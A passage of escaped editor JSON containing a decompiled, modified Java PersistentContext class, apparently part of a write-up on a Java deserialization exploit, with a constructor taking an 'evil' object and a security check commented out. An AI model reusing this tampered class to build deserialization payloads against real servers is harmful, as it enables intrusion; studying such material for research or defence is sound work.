var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W64H-1682254540054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;baVw-1682254540053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (KernelStatus.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LIPy-1682254540056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kNkZ-1682254540055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var5 = EncryptionUtil.encrypt(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K6El-1682254540058&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jLA5-1682254540057&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1cbX-1682254540060&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pTY5-1682254540059&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //var5 = EncryptionUtil.encrypt(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qtUS-1682254540062&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qzsJ-1682254540061&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gIxv-1682254540064&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AykC-1682254540063&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte []) var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Ev8-1682254540066&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zrPE-1682254540065&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q807-1682254540068&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CadD-1682254540067&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nJZC-1682254540070&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6DzU-1682254540069&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zt3D-1682254540072&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;42Ys-1682254540071&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oMrs-1682254540074&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AQ9d-1682254540073&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AlKT-1682254540076&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pdgm-1682254540075&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LojT-1682254540078&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cjd-1682254540077&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z3xI-1682254540080&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;W7gm-1682254540079&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SXLH-1682254540082&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T4TI-1682254540081&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lbg4-1682254540084&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CGA7-1682254540083&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3uC-1682254540086&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fij3-1682254540085&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._propertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qQ3j-1682254540088&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xbJC-1682254540087&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._propBagClassNames = (Set)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wg6J-1682254540090&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yi70-1682254540089&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._contextPropertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0DUm-1682254540092&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JwrC-1682254540091&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._invocationPropertyMap = (Map)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZcMt-1682254540094&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4nTJ-1682254540093&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._state = (PersistentContext.State)var1.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5DN4-1682254540096&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N0ku-1682254540095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.readSubject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;isI2-1682254540098&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZFj0-1682254540097&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MgP1-1682254540100&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w1xY-1682254540099&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.writeLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWFx-1682254540102&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tKLu-1682254540101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2cn7-1682254540104&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8sCw-1682254540103&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3PP-1682254540106&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;O3wK-1682254540105&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;29Iz-1682254540108&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Qp9M-1682254540107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cS3O-1682254540110&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SX3C-1682254540109&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    protected void initTransients() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;m8m7-1682254540112&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cigm-1682254540111&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._lock = new ReentrantReadWriteLock(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dNAA-1682254540114&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;At8q-1682254540113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OTfp-1682254540116&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Bo-1682254540115&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5PHA-1682254540118&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0kLl-1682254540117&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void readSubject(ObjectInputStream var1) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xFc9-1682254540120&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iapO-1682254540119&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytgj-1682254540122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EoiF-1682254540121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            int var2 = var1.readInt();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lHbH-1682254540124&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2i8L-1682254540123&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            byte[] var3 = new byte[var2];&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eZ9z-1682254540126&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1zDU-1682254540125&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.readFully(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Xyw-1682254540128&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7hYQ-1682254540127&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (KernelStatus.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eOKk-1682254540131&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xkvO-1682254540129&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var3 = EncryptionUtil.decrypt(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LTgS-1682254540133&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vtox-1682254540132&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gTfW-1682254540135&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bNsA-1682254540134&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EUkl-1682254540137&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yhpo-1682254540136&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ByteArrayInputStream var4 = new ByteArrayInputStream(var3);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fVqX-1682254540139&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Jiag-1682254540138&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p2fi-1682254540141&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PdtK-1682254540140&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._subject = (AuthenticatedSubject)var5.readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3Ur0-1682254540143&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vGhx-1682254540142&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception var6) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HtTE-1682254540145&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfjl-1682254540144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            WseeCoreLogger.logUnexpectedException(\&#34;Couldn&#39;t completely read PersistentContext subject\&#34;, var6);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wFpP-1682254540147&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WcgE-1682254540146&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yk1f-1682254540149&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cNe-1682254540148&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JTfg-1682254540151&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;znQj-1682254540150&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lx65-1682254540153&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HJeW-1682254540152&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Vtl3-1682254540155&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EiVG-1682254540154&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public PersistentContext(@NotNull String var1, @NotNull Map&lt;String, Serializable&gt; var2, @NotNull Set&lt;String&gt; var3, @Nullable Map&lt;String, Serializable&gt; var4, @NotNull Map&lt;String, Serializable&gt; var5,Object evil) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;plx5-1682254540157&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bx93-1682254540156&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gifa-1682254540159&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vyca-1682254540158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._propertyMap = var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DGpi-1682254540161&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2GgG-1682254540160&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._propBagClassNames = var3;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0i6H-1682254540163&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2107-1682254540162&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._contextPropertyMap = var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KOME-1682254540165&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;udTG-1682254540164&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._invocationPropertyMap = var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dYtb-1682254540167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aPMF-1682254540166&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._state = PersistentContext.State.UNUSED;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XwNO-1682254540169&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FTb5-1682254540168&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        AuthenticatedSubject var6 = getCurrentSubject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7f3V-1682254540171&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6gtf-1682254540170&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.evil = evil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CcGE-1682254540173&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x7gd-1682254540172&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (SecurityServiceManager.isKernelIdentity(var6)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xz2B-1682254540175&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kfs8-1682254540174&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    throw new IllegalStateException(\&#34;Attempt to create PersistentContext using kernel identity. All actions that can create PersistentContext must run as a user principal\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vi8H-1682254540177&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A59w-1682254540176&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //} else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8Pe3-1682254540179&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xFZt-1682254540178&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    this._subject = var6;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xZwr-1682254540181&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o2Lt-1682254540180&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NlK4-1682254540183&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H1Q5-1682254540182&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        // }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JY6B-1682254540185&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2dSY-1682254540184&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this._subject = var6;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUTj-1682254540187&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T5uj-1682254540186&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        this.initTransients();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dMoH-1682254540189&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V2a-1682254540188&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;H9CM-1682254540191&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;expq-1682254540190&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3TSn-1682254540193&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DCPi-1682254540192&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    